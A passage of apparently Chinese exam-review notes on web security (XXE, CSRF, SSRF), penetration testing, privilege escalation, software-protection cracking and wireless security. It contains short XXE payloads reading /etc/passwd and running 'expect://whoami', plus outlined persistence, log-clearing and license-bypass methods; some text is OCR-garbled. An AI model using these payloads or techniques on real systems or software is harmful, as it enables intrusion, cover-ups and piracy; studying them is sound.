( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
// 抹除有害源数据
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
//删除用户上传文件
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
//删除临时文件
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
XXE漏洞
原理
什么是XXE:如果可以上传XML文档或在XML文档中添加恶意内容,通过易受攻击的代码、依赖项,攻击者就能够攻击含有缺陷的XML处理器。
XXE攻击的后果:攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施DoS攻击。
使用不安全的XML解析函数,SimpleXMLElement、simplexml_load_string函数解析body
XML结构介绍
什么是XML:可拓展标记语言,类似HTML,设计宗旨时传输数据,而非显示数据,XML标签没有被预定义。需要自行定义标签。
XML文档包含:XML声明、DTD文档类型定义(可选)、文档元素。
XXE实体分类:字符实体、命名实体、参数实体、外部实体
实体分类:
字符实体:由XML规范预先定义好了
| 实体引用 | 字符 |
| :———: | :—: |
| < | < |
| > | > |
| & | & |
| " | “ |
| &apos | ‘ |命名实体与数字字符实体类似,只是将数字改为一个更容易记忆的英文标识.其中
<!ENTITY... >
表示实体声明,<!ENTITY >
就是对一大段内容的引用,可以简化代码的复用。<!-- XML声明 --> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY x "CUMT"> <!ENTITY y "bxs"> ]> <root> <x>&x;</x> <y>&y;</y> </root>
参数实体
combine.dtd
<!ENTITY content "%param1;%param2;%param3">
xml
<!-- XML声明 --> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % param1 "CUMT"> <!ENTITY % param2 "bxs"> <!ENTITY % param3 "bxs"> <!ENTITY dtd STSTEM "combine.dtd"> %dtd ]> <root><foo>&content</foo></root>
- 外部实体
XML声明+DTD文档+文档元素
<!-- XML声明 -->
<?xml version="1.0" encoding="utf-8"?>
<!-- DTD 文档类型说明 -->
<!DOCTYPE PAYLOAD [
<!--这里声明了变量,类型是什么-->
<!-- 内部 -->
<!ENTITY name "name">
<!-- 外部 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- 文档元素-->
<name>&name;</name>
<payload>&xxe;</payload>
攻击代码
<?xml version="1.0"?>
<!DOCTYPE ANY [
读取任意文件
<!ENTITY xxe SYSTEM "file:///C:/windows/system.ini">
执行系统命令
<!ENTITY xxe SYSTEM "expect://whoami">
探测内网端口
<!ENTITY xxe SYSTEM "http://192.x.x.x:81/xx">
攻击内网网站
当跳板类似1和3.
]>
防御
如何防止XXE攻击:
- 尽可能使用简单的数据格式,并面对敏感数据进行序列化
- 及时修护更新使用的XML处理器和库
- 在XML解析器中禁用XML外部实体和DTD进程
- 在服务器实施白名单过滤
- 使用SAST工具进行检测,使用API安全网关,WAF检测等预防XXE攻击
libxml_disable_entity_loader(true);
libxml_disable_entity_loader(true);
libxml_disable_entity_loader()
作用是设置是否禁止从外部加载XML实体,设为true就是禁止,目的是防止XML注入攻击
跨站请求伪造(CSRF)
原理
CSRF是什么
csrf 是一个可以发送http请求的脚本。可以伪装受害者向网站发送请求,达到修改网站数据的目的。
在受害者不知情的情况下,伪造受害者发出请求,实现在未授权的情况下执行操作。例如获取敏感信息等。
流程:
防御
- 禁止第三方网站使用本站Cookie。
- 最普遍的一种防御方法,后端生成一个token放在session中并发给前端,前端发送请求时携带这个token,后端通过校验这个token和session中的token是否一致判断是否是本网站的请求。
referer
代表着请求的来源,不可以伪造。后端写个过滤器检查请求的headers中的referer
,检验是不是本网站的请求。
SSRF漏洞
原理
什么是SSRF漏洞:SSRF是一种由攻击者伪造服务端发起请求的一个安全漏洞,用于攻击目标网站的内部系统。
SSRF攻击的原理:服务端提供从其他内部服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
SSRF用途:
内外网的端口和服务扫描
主机本地敏感数据的读取
内外网主机应用程序漏洞的利用
内外网Web站点漏洞的利用
容易造成SSRF的函数
file_get_contents():
将整个文件读入一个字符串fsockopen():
打开一个网络连接或者一个unix套接字连接curl_exec():
执行一个curl会话
防御
如何防御:
- 过滤返回的信息
- 统一错误信息
- 限制请求的端口为HTTP常见的端口
- 黑名单内网IP
- 禁用不需要的协议
渗透测试
渗透测试过程的七个阶段:
前期交互阶段: 确定测试范围及限制条件以及目的效果等(黑盒白盒)
情报收集阶段(时间最长,最为重要): 获取网络配置及系统信息,nmap,端口等扫描
- 目标选择:选择攻击目标,确定攻击达到的效果
- 隐私收集:现场信息收集甚至从丢弃的废品中收集信息;目标单位外部的信息收集
- 踩点工作:主动和被动扫描技术
- 验证目标的安全机制:防火墙、网络流量过滤系统、网络和主机的保护措施的确认工作
威胁建模阶段: 利用得到的信息规划攻击方式,漏洞扫描工具
漏洞分析阶段: 综合情报信息找出可攻击的点,测试验证研究漏洞
渗透攻击阶段: 实施攻击获得系统的访问控制权
后渗透攻击阶段: 对目标组织的具体业务进行攻击,包括成功渗透攻击到对方计算机以后的很多任务,比如提权、上传和下载文件、跳板攻击等
报告阶段: 汇总渗透过程并给出防御办法
- 确定目标最为重要的威胁
- 将渗透测试得到的数据生成表格和图表
- 对目标系统的改进建议
- 对问题的修复方案
完整的渗透测试流程
后渗透模块:
扫描内网主机,发现是否存在其他内网主机并尝试渗透
提权
渗透访问控制的持久化
- 添加一个新用户
- Dump密码等
- 使用MSF的persistence、metsvc(Nindows)等模块安装永久性后门
清除痕迹
清理日志(run event_manager,clearev(清除Nindows.系统下的应用、系
统和安全日志)
其他网安的东西:
1.简叙黑客攻击的基本流程,并说明每一步的主要任务
- 踩点: 收集信息
- 扫描: 评估系统,寻找可攻击范围
- 查点: 寻找系统中的用户信息以及可获得的共享资源以及可以利用的漏洞
- 访问: 利用收集的信息尝试访问和攻击
- 提权: 获取系统的完全控制权限
- 窃取信息: 获取机密信息
- 掩踪灭迹: 删除日志
- 创建后门: 创建后门方便下次访问
- 拒绝服务: dos攻击使系统瘫痪
2.什么是渗透测试?可以分为哪几种类型?
渗透测试(penetration test)是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。
类型:
白盒测试
渗透人员拥有客户所有知识情况下的渗透测试
黑盒测试
渗透人员不了解大部分知识情况下的渗透测试
灰盒测试
介于白盒和黑盒之间,渗透人员了解部分知识情况下的渗透测试
3.渗透测试分为那七个阶段,每个阶段的主要内容
1.前期交互:确定测试范围及限制条件
2.情报搜集:获取网络配置及系统信息
3.威胁建模:利用得到的信息规划攻击
4.漏洞分析:综合情报信息找出可攻击的点
5.渗透攻击:实施攻击获得系统的访问控制权
6.后渗透攻击:对目标组织的具体业务进行攻击
7.报告:汇总渗透过程并给出防御办法
4.黑客攻击和渗透测试的异同点?
相同
入侵和渗透在操作流程相似
都是为了获取系统权限进行攻击
都是利用漏洞进行攻击和突破
不同
入侵和渗透在操作上类似,但是本质确不同。
入侵是以破坏或者盗取信息为目的,渗透是为了发现漏洞修复为目的;
入侵会造成损失,渗透是为了避免损失;
入侵的是黑帽子黑客,渗透的是白帽子黑客;
入侵是非法的,渗透是合法的;
入侵是攻击,渗透是防御。
主要是在于1:是否有授权 2:挖到漏洞了以后是否对漏洞进行了利用
针对渗透攻击的防护:
确保在组织中的任何位置都使用强凭据
建立信任边界
- 跨所有系统实施和执行变更控制
- 执行补丁管理程序
- 定期进行漏洞评估
提权
什么是提权:利用操作系统或应用软件中的程序错误、设计缺陷或配置不当来获取受保护资源的高级访问权限。
提权的目的:拿到shell后对目标的某些访问依旧受限,获取目标系统的最高权限
windows提权
windows提权的俩种方式:获取system权限(最佳)、获取Administrator权限
windows提权的一般步骤:
- 获取低权限shell
- 利用MSF meterpreter getsystem提权
- 查看windows版本提权漏洞
- systeminfo查看安装补丁
- 查找相关提权EXP
- 应用程序提权
windows下利用操作系统利用提权:
DDL注入(通过劫持某些以高权限启动的程序中导入的DL,达到以高
权限执行恶意操作的目的)窃取Token
access token(访问令牌)是Vindows安全的一个概念,包含此登录会话的安
全信息。用户登录时,系统创建一个访问令牌,然后以该用户身份运行的所有进
程都拥有该令牌的一个拷贝。该令牌唯一表示该用户、用户组和用户特权(类似
于Cookie)
通过窃取高权限用户的Token,可以获得高权限窃取管理员账户密码
可执行文件路径未被引号包裹
假如把恶意XE放在这些路径下,那么当系统级服务重启时,便会以
高权限执行恶意文件允许非特权用户使用system权限执行MSI文件(组策略配置错误)
防御
- 不在将密码保存在组策略首选项中
- 合理配置设置,拒绝不合理操作
- 及时打补丁和更新系统版本
- 对用户权限进行限制
- 合理检测系统软件,安装防火墙等安全软件
Linux提权
Linux系统提权的一般步骤:
(1)查看内核版本
(2)查看系统是否存在配置不当
(3)应用程序提权
示例
- 脏牛漏洞(CVE-2016-5195):Linux内核的内存子系统在处理写时复制(copy-on-write,COW)时产生了竞争条件。恶意用户可利用此漏洞,对只读内存映射进行写访问来获取高权限
- Linux内核提权漏洞(cVE-2017-6074)
- Linux sudo提权(CVE-2021-3156)
linux系统提权的操作:
- SUID程序提权
- 修改用户属组
- 修改/etc/passwd
- 修改root用户ssh密钥
- 通配符提权
- 应用程序提权
如何防止提权:
- 系统管理员要安全,准确的配置SUID执行文件。
- 一些没必要以高权限用户执行的文件,应该取消权限。
- 规避使用无密码root 执行命令,脚本等。
- 修复/升级存在已知漏洞的组件,升级操作系统版本最新版。
- Linux 2.2 之后可以为命令增加 capabilities, 以p 师傅博客里的给nmap增加该属性为例。
- 升级第三方服务,修复已知漏洞
数据库提权
数据库UDP提权
UDF:User Defined Function
前提条件:
- 获得root账户密码
- 数据库开启plugin
- 数据库监听公网
UDF提权步骤
- 查看 secure_file_priv 的值
- 查看plugin的值
- 查看系统架构以及plugin目录
- 将dll文件写入plugin目录,并且创建函数
- 使用系统命令(在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了。)
- 或者使用MSF进行UDF提权
Redis提权
Redis数据库以root权限启动,配合未授权访问漏洞,攻击者可以连接数据库并写入ssh密钥,接着就可以以root用户身份登录服务器
如何防止提权:
及时打补丁
启动Web、DB服务时以低权限启动
服务器只监听127.0.0.1
逆向工程
汇编基础
字节序
- 小端序(Littie endian):低地址存放低字节,高地址存放高字节,符合人类
思维 - 大端序(Big endian):低地址存放高字节,高地址存放低字节
- 对于char字符数组,在内存中连续不管大端序还是小端序,存储顺序都是一样的,按大端
#include'windows.h' BYTE b=0x12; WORD w=0x5678; DWORD dw=0x12345678; char str[]= 'ABCD"; int main() { byte lb=b; WORD Iw=w; DWORD Idw=dw; char *Istr=str; return 0; }
低
| 大端 | 小端 |
| :—: | :—: |
| A | A |
| B | B |
| C | C |
| D | D |
| 00 | 00 |
| 12 | 78 |
| 34 | 56 |
| 56 | 34 |
| 78 | 12 |
| 56 | 78 |
| 78 | 56 |
| 12 | 12 |
高
汇编结构
AT&T语法和intel语法:AT&T汇编语法被Linux和GCC广泛支持,而INTEL则由Windows支持。
- 赋值方向不同(源和目的操作数的顺序相反)
- INTEL汇编语法第一个操作数表示目的操作数,第二个才是源操作数,赋值方向为从右向左;
- AT&T汇编语法则反过来,第一个为源操作数,第二个为目的操作数,故而看着更舒服。
- 前缀修饰符不同, INTEL的寄存器似乎是直接存取的,而AT&T则需要加上“%”前缀。
- 后缀修饰符位置不同
X86(64)架构:
32位栈与64位栈的区别:
X64多了8个通用寄存器
X32中原有的寄存器在X64中均为拓展为64位
逆向分析
静态分析技术:根据反汇编得到的程序清单进行分析(不执行代码文件),最常用的方法是从提示信息进行分析
动态分析技术:动态跟踪是指利用OllyDbg或WinDbg等调试工具,一步一步跟踪分析的过程
栈帧
栈帧
什么是栈帧:程序运行时栈中分配的内存块,专门用于特定的函数调用
栈帧的大致结构:函数序言、函数尾声
PUSH EBP ;函数开始(使用EBP前先把已有值保存到栈中)
MOV EBP,ESP ;保存当前ESP到EBP中
SUB ESP,50 ;抬高栈顶
PUSH EBX ;保存环境变量
PUSH ESI ;保存环境变量
PUSH EDI ;保存环境变量
lea edi,dword ptr ss:[ebp-50] ;EDl存入循环操作的起始地址
MOV ECX,14 ;ECX存入的是循环次数
mov eax.CCCCCCCC ;EAX是循环填入的值
rep stosd ;循环填充栈CC
;函数体
;无论ESP值如何变化,EBP都保持不变,可以安全访问函数的局部变量、参数
MOV ESP,EBP ;将函数的起始地址返回到ESP中
POP EBP ;函数返回前弹出保存在栈中的EBP值
RET ;函数终止
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
- xor eax,eax 操作是将eax置零。
- CC指令:NT3中断的机器码
栈保护者(stack protector)在栈帧中存储一个特殊的金丝雀(cannary)值,是在程序每次运行时随机产生的。在恢复寄存器状态和从函数返回前,程序检查该值是否被改变
GCC:
·-fno-stack-protector·
选项可关闭该功能
调用函数的操作步骤:
(1)调用方将被调用函数所需参数放入到函数所采用的调用约定指定位置
(2)调用方将控制权转交给被调用函数(call),然后返回地址被保存到程序站或CPU寄存器中
(3)被调用函数为局部变量分配空间
(4)被调用函数执行操作
(5)被调用函数完成操作,释放局部变量的栈空间
(6)被调用函数将控制权返还给调用方
函数调用约定
什么是调用约定:指定调用方放置函数所需参数的具体位置
32位
64位
cdecl
调用者
被调用者
栈
stdcall
调用方
被调用方
栈
fastcall
调用方
被调用方
栈
thiscall
调用方
被调用方
栈
- Microsoft VC++将this传递到ECX寄存器,其他与stdcall相同
- GNU g++将this看成第一个隐含参数,将其放置在栈顶,其他与cdecl相同
c++与虚函数
- 虚函数用于在C++程序中实现多态,其地址不能在编译时确定
- 虚函数表(Virtual Table,VTBL,虚表):编译器为每一个包含虚函数的类(或子类)生成一个表,包括指向每一个虚函数的指针
- 虚函数表指针(Virtual Table Pointer,VPTR,虚表指针):包含虚函数的类的一个数据成员,用于运行时指向虚表,是类的第一个数据成员
- 顺序:虚表指针→虚函数表的地址→查询得到函数的地址→调用函数
栈保护技术
- Stack Canary栈保护:当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。
- 缓冲区不可执行NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存表示为不可执行
- 地址空间布局随机化ASLR:将程序的内存布局随机化,使得攻击者不能轻易地得到数据区的地址来构造 payload
- 位置无关可执行文件PIE:需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。
- 重定位只读RELRO:RELRO会设置符号重定向表格为只读或者程序启动时就解析并绑定所有动态符号,从而减少对GOT表的攻击
- FORTIFY技术: fortify是轻微的检查,用于检查是否存在缓冲区溢出的错误。
软件保护技术
序列号
序列号/注册码:
- 用户将自己的信息(用户名、电子邮件等)告诉软件公司,软件公司根据用户信息,利用预先编写的计算注册码的程序(注册机,KeyGen)计算序列号,并发给用户
- 用户输入注册信息和序列号。如果正确,则可以正常使用软件,否则限制软件功能、使用时间等
保护机制
保护机制:
- 将用户名等通过函数F变换后得到注册码,即序列号=F(用户名)
- 通过注册码验证用户名的正确性,计算方式不变,即序列号=F(用户名),但验证过程为用户名=$F^{-1}$(序列号)
- 通过对等函数检测注册码,即$F_2$(序列号)=$F_1$(用户名)
- 同时将用户名和注册码作为自变量即特定值=F(用户名,序列号)
破解方法:
- 序列号以明文的方式出现在内存中,所以很容易找到
- 生成注册码的过程也包含在软件中,所以容易编写注册码程序
修改比较指令绕过注册码检测
F可逆,F-出现在程序中,可以通过其找到逆变换F,得到注册码或者变成注册机
- 给定用户名,穷尽序列号,使之满足
即使注册码的算法很复杂,如果可执行程序可以被任意修改,解密者还是可以通过修改比较跳转指令使程序成为注册版,因此还需要配合软件完整性检查等方法
查找序列号位置:
- 跟踪输入注册码后的判断定位注册码
- 跟踪程序启动时对注册码的判断过程
- 数据约束性:正确的序列号会在某时刻出现在内存中,大多数会在一个范围呢,用户输入内存地址$\pm 90$字节的地方
序列号比较代码:
;寄存器比较
mov eax, [xxx]
mov ebx, [xxx]
cmp eax ebx
jz(jnz) xxx
;串比较
mov edi, [xxx]
mov esi, [xxx]
rep cmpsd
jz(jnz) xxx
;函数比较
mov edi, [xxx]
mov esi, [xxx]
call xxx
test eax eax
jz(jnz) xxx
;函数比较
push [xxx]
push [xxx]
call xxx
test eax eax
jz(jnz) xxx
加密算法识别
计算序列号等常使用成熟的加密算法,如MD5、SHA-1等
基于密码算法的特征—MD5,sha256(初始向量号IV),分组密码的S盒,编码特征base64填充,智能化软件识别
警告窗口保护方式
警告窗口:用来不时提醒用户购买正版软件的窗口,可以在程序开始,运行中或结束时弹出。
破解方法:
- 用资源修改工具去除警告窗口,可以将窗口改为透明或者不可见
- 完全去除,找到创建窗口代码(
MessageBoxA(W)
)跳过
时间限制保护方式
保护方法:限制每次运行时长(计时器机制),限制总运行时长(如试用期)
破解方法:
- 跳过相关函数
- 将时间检测后的跳转语句
NOP
掉
菜单功能限制
保护方法:Demo版本,部分功能灰色无法使用,
- 试用版和正式版完全相同
- 试用版和正式版2个版本,无法破解
破解方法:
- 将限制灰色不可用更改设置为可操作
- 找到限制函数,跳转
EnableMenultem(HMENU hMenu, UINT ulDEnableltem,UIN,uEnable)
EnableWindow(HWND hWnd, BOOL bEnable)
KeyFile保护方式
保护方法:
- 利用文件来注册软件的保护方式
- KeyFile一般是一个小文件(文本或二进制文件)其内容是一些加密或者未加密的数据,可能包含用户名、注册码等信息
- 试用版软件没有该文件
- 该文件一般放在软件的安装目录或系统目录下,软件每次启动时,从该文件读取数据,利用某种算法进行处理,根据处理结果判断是否为正确的注册文件
- 相关的API函数:所有与Windows文件操作相关的API,如
FindFirstFileA等
破解方式:
- 分析KeyFile的文件,伪造虚假的KeyFile文件
- 用Filemon这一工具,它能实时监视系统各文件的状态,因此运行程序时,如它去读指定文件名的KeyFile时,会在Filemon显示KeyFile文件名。一但您发现KeyFile文件名,就建立一假的KeyFile到要被Crack软件目录下,然后去Crack。
- 分析代码修改跳转
网络验证保护机制
保护方式:流行方式之一,将一些关键数据放在服务器上,软件必须从服务器获取数据才能正确运行
破解方法:
- 拦截服务器返回的数据包,分析程序是如何处理数据包的
- 如果网络验证数据包内容固定,写一个本地服务器来模拟服务器
- 如果数据包不固定,则必须分析其结构,找出相应的算法
只运行一个示例保护方式
保护方式:
- 查找窗口:运行前查找,限制只运行一个
- 使用互斥对象
- 使用共享区块,读写保护
破解方法:
- 最简单的办法, 就是创建多个用户, 然后运行的时候右键, 以XXXX运行程序,通常应用程序不会限制全局, 不同用户是可以拥有一个实例的
- 软件代码修改,破除限制
移动安全
考题
这里内容太多没办法一次性搞完,以复习考试为主,面向考试复习
1. 简述无线局域网的基本组成部分
无线局域网由无线网卡、无线接入点(AP)、计算机和有关设备组成,采用单元结构,将整个系统分成许多单元,每个单元称为一个基本服务集(BSS)。
- 工作站(STA)Station: 网络最基本的组成部分,通常指的就是无线客户端。
- 基本服务单元(Basic Service Set,BSS)是网络最基本的服务单元,STA采用相同的MAC协议竞争访问
- 分配系统(Distribution System,DS)。分配系统用于连接不同的基本服务单元
- 接入点(Access Point,AP)。接入点既有普通站点的身份,又有接入到分配系统的功能。
- 扩展服务单元(Extended Service Set,ESS)。由分配系统和基本服务单元组合而成。
- 关口(Portal),也是一个逻辑成分。用于将无线局域网和有线局域网或其它网络联系起来。
- 每一个无线局域网都有刚服务集标识SSID(包括BSSID和ESSID)区分不同网络,由AP广播
2. 常见的无线局域网的安全技术有那些
- 物理地址( MAC )过滤、
- 服务区标识符(SSID)匹配、
- 有线对等保密(WEP)、
- 端口访问控制技术(IEEE802.1x)、
- WPA (Wi-Fi Protected Access)、
- IEEE 802.11i等
3. IEEE 802.11协议安全体系
- TSN(过度安全网络):支持WEP设备的安全网络
- RSN(坚固安全网络):抛弃了WEP协议,重新设计了无线局域网安全认证过程
- 基于802.1x的对AP和STA的双向增强认证机制
- 具有密钥管理算法
- 动态会话密钥
- 加强的加密算法CCMP和TKIP,其中实现基于AES的CCMP
- 支持快速漫游和预认证
4. 简述WEP安全机制的工作流程,并说明其在安全方面的不足
流程:
- 数据校验阶段。对明文(Plaintext)M 求 CRC32 校验值 IVC=C(M),并将其与 M 连接,得到 P=(IVC||M)。
- 加密密钥生成阶段。选择一个 IV,以 IV||SK 作为伪随机数产生器(PRNG)的种子,生成密钥序列(Key Sequence,KS),即 KS=RC4(EV||SK),这是一个与 P 等长的伪随机序列。
- 加密阶段。将 KS 与 P 作 XOR(异或)运算即可产生密文 C=KS⊕P。发送时将密文和 IV 一起传输,即传输:IV||C。
安全性:
- RC4存在大量弱密钥:每256个就有一个
- WEP没有抗重放机制,无序列号,完整性只保护数据,不保护源和目的地址
- SK密钥的产生和分发(没有密钥交换管理机制),容易穷举,字典攻击,容易泄露
- IV空间太小,IV目的是避免种子密钥重复,而IV是随机的,实际只需5000个包就会开始重复(生日攻击)
- CRC32是线性的, 已知$CRC32(X⊕Y)=CRC32(X)⊕CRC32(Y)$,CRC32在WEP中按如下方式使用:$(PCRC32(P)⊕K=C$,在k未知的情况下,可任意篡改未知明文的密文,且能保证ICV值的正确性
5. 简述TKIP安全机制的工作原理
- TK和TA,TSC经过第一阶段密钥混合生成TTAK、
- TTAK,TK,TSC经过第二阶段密钥混合生成WEPseed
- 利用MIC(Michael算法)计算MSDU对应的消息码MIC
- MSDU+NIC进行封装拼接唯一的TSC形成受保护数据包
- 数据包经过WEP加密得到密文MPDU
6. 简述CCMP安全机制的工作原理
- PN递增
- 根据MPDU的MAC header构造AAD。
- 构造Nonce。由PN,A2以及priority构造。A2是MPDU Address 2。
- PN和key id放入CCMP header
- TK,AAD,nonce,MPDU做CCM算法,得到加密的data和MIC。
- MAC header,CCMP header以及加密的data、MIC组装得到CCMP MPDU。
7. 简述IEEE802.11I的认证和密钥交换协议的工作原理
认证和密钥交换
- 网络发现
- 802.11开放系统认证与关联
- 802.1x EAP认证
- 四步握手
- 安全数据通信
四步握手:
- 认证者将nonce传给申请者;nonce是防范重放攻击的随机值。信息本身并未经过认证,但并没有被篡改的危险。如果信息遭人更改,磋商就会失败并重新执行
- 申请者所送出的的信息中包含申请者的nonce以及初次与网络连接所取得的安全参数副本。整个信息系经过(以EAPOL密钥确认密钥计算而来的完整性检验值)的验证。
- 认证者取出消息中的申请者nonce,依次衍生出完整的密钥层次结构。此时磋商双方的密钥均已就绪,但仍需确认。认证者会将一个信息传给申请者;此信息代表将被加入之成对密钥的序号。它同时包括了目前的群组临时密钥,以便后续能够更新群组密钥。GTK以EAPOL密钥加密密钥来加密,以密钥确认密钥来认证
- 申请者最后会送出确认信息给认证者,告诉认证者已经接收到配钥信息,可以开始使用这些密钥。此信息系经过密钥确认密钥的认证。
8. 简述GSM的安全机制
安全机制
- 用户身份认证和鉴别
- 通信信息加密
- 用户身份IMSI保密
不足
- 单向认证
- 空中接口加密
- 完整性保护缺失
9. 简述3G的安全机制
- 增强用户身份保密(EUIC,Enhanced User ldentity Confidentialy):通过归属网及
认证中心HLR/AuC对移动用户USIM卡身份信息进行认证。 - 用户身份保密(UIC,User1 dentity Confidenta):用产与服务网之间的身份认证。
- 认证和密钥协商(AKA,Authentication&Key Agreement):用于USM卡、VLR/SGSN、HLR间进行的双向认证和密钥分发。
- 用户及信令数据机密性(DC,Data Confidentiality)):加密UE与RNC间的信息。
- 消息完整性(DL,Data Integrity:)认证消息的完整性、时效以及消息的来源地与目
的地。
10. 简述LTE的安全机制
- 4G实现了分层安全,即将接入层(AS)和非接入层NAS)安全分离。
- 其中接入层安全负责eNodeB和UE之间的安全,包括RRC信令的机密性保护和完整性保护、用户面机密性保护;
- 非接入层安全负责MME和UE之间的安全,包括NAS信令的机密性保护和完整性保护
- 继承3G认证和密钥协商
- 4G中采用更安全加密算法,AES,SNOW和ZUC算法
11. 简述2G,3G和LTE网络的安全机制的异同点
- 1G关键点:无线,蜂窝组网
- 2G关键点:数字,TDMA(时分多址)/FDMA(频分多址)
- 3G关键点:CDMA,IP化,数据业务
- 4G关键点:OFDMA(快速傅里叶变换),MIMO(多入多出),高速数据业务
- 5G关键点:Massive MIMO,小蜂窝,D2D,IoT
移动无线网络
分类
- 有线网络
- 无线网络
无线网络分类
- 无线个域网(WPAN)蓝牙,zigbee
- 无线局域网(WLAN)wifi
- 无线城域网(WMAN)无线基站,3G
- 无线广域网(WWAN)卫星,2,3,4,5G
风险因素:
- 信道开放性,被窃听攻击
- 可移动性
- 可访问性
无线局域网安全(WLAN)
概述
IEEE 802.11协议安全体系
- TSN(过度安全网络):支持WEP设备的安全网络
- RSN(坚固安全网络):抛弃了WEP协议,重新设计了无线局域网安全认证过程
- 基于802.1x的对AP和STA的双向增强认证机制
- 具有密钥管理算法
- 动态会话密钥
- 加强的加密算法CCMP和TKIP,其中实现基于AES的CCMP
- 支持快速漫游和预认证
结构:
安全服务:
- 认证服务
- 访问控制服务
- 消息加密与完整性服务
工作流程:
- 网络发现(工作站<->接入点)
- 认证(接入点<->认证服务器)
- 密钥管理(工作站<->接入点)
- 保护数据传输(工作站<->接入点)
WEP
WEP(Wired Equivalent Privacy)叫做有线等效加密,是一种可选的链路层安全机制,用来提供访问控制、数据加密和安全性检验等功能,是无线领域第一个安全协议。
流程:
- 数据校验阶段。对明文(Plaintext)M 求 CRC32 校验值 IVC=C(M),并将其与 M 连接,得到 P=(IVC||M)。
- 加密密钥生成阶段。选择一个 IV,以 IV||SK 作为伪随机数产生器(PRNG)的种子,生成密钥序列(Key Sequence,KS),即 KS=RC4(EV||SK),这是一个与 P 等长的伪随机序列。
- 加密阶段。将 KS 与 P 作 XOR(异或)运算即可产生密文 C=KS⊕P。发送时将密文和 IV 一起传输,即传输:IV||C。
安全性:
- RC4存在大量弱密钥:每256个就有一个
- WEP没有抗重放机制,无序列号,完整性只保护数据,不保护源和目的地址
- SK密钥的产生和分发(没有密钥交换管理机制),容易穷举,字典攻击,容易泄露
- IV空间太小,IV目的是避免种子密钥重复,而IV是随机的,实际只需5000个包就会开始重复(生日攻击)
- CRC32是线性的, 已知$CRC32(X⊕Y)=CRC32(X)⊕CRC32(Y)$,CRC32在WEP中按如下方式使用:$(PCRC32(P)⊕K=C$,在k未知的情况下,可任意篡改未知明文的密文,且能保证ICV值的正确性
WEP认证机制:
- 开放系统认证:这种认证方式不需要确认STA的任何信息,它只是和AP进行一个招呼式的交互,这个过程中并没有交互身份信息,所以也可以认为是一个空加密。
- 认证请求
- 认证回复
- 共享秘钥认证:这种认证方式使用WEP认证STA(明文挑战)
- 客户端向AP发送认证请求
- AP向客户端发送明文挑战
- 客户端使用共享WEP密钥加密,并返回AP
- AP发送认证响应
- 其他安全措施
- SSID认证
- MAC地址控制
WEP破解:
- 激活无线网卡
- 启动混杂模式
- 抓取数据包
- arp注入攻击
- 密码破解
TKIP
加密机制TKIP一暂时密钥完整性协议,改进WEP
TKIP的改进:
- IV:24bit→48bit(非WEP加密的V)
- WEP密钥SK:40bit→104bit
- 引入4个新算法:
- 单包密钥(per-packet key)生成算法一防止弱密钥的产生
- 消息完整性校验码(Message Integrity Code,MIC)一防止数据被非法篡改
- 具有序列功能的IV一防止重放攻击
- 可生成新的加密和完整性密钥的Rekeying机制一防止IV重用
加密过程:
- TK和TA,TSC经过第一阶段密钥混合生成TTAK、
- TTAK,TK,TSC经过第二阶段密钥混合生成WEPseed
- 利用MIC(Michael算法)计算MSDU对应的消息码MIC
- MSDU+NIC进行封装拼接唯一的TSC形成受保护数据包
- 数据包经过WEP加密得到密文MPDU
- TTAK:消除各通信方使用相同密钥的隐患
- NEPSeed:别除已知弱密钥
CCMP
CCMP使用AES块加密算法取代WEP和TKIP的RC4流算法,它也是WAP2指定的加密方式
组成:
- 计算器模式CTR:数据加密
- CBC-MAC模式:消息完整性
加密过程:
- PN递增
- 根据MPDU的MAC header构造AAD。
- 构造Nonce。由PN,A2以及priority构造。A2是MPDU Address 2。
- PN和key id放入CCMP header
- TK,AAD,nonce,MPDU做CCM算法,得到加密的data和MIC。
- MAC header,CCMP header以及加密的data、MIC组装得到CCMP MPDU。
每一个MPUD都对应一个PN,用来抗重放
IEEE802.11i协议认证和密钥交换(AKE)
认证和密钥交换
- 网络发现
- 802.11开放系统认证与关联
- 802.1x EAP认证
- 四步握手
- 安全数据通信
四步握手:
- 认证者将nonce传给申请者;nonce是防范重放攻击的随机值。信息本身并未经过认证,但并没有被篡改的危险。如果信息遭人更改,磋商就会失败并重新执行
- 申请者所送出的的信息中包含申请者的nonce以及初次与网络连接所取得的安全参数副本。整个信息系经过(以EAPOL密钥确认密钥计算而来的完整性检验值)的验证。
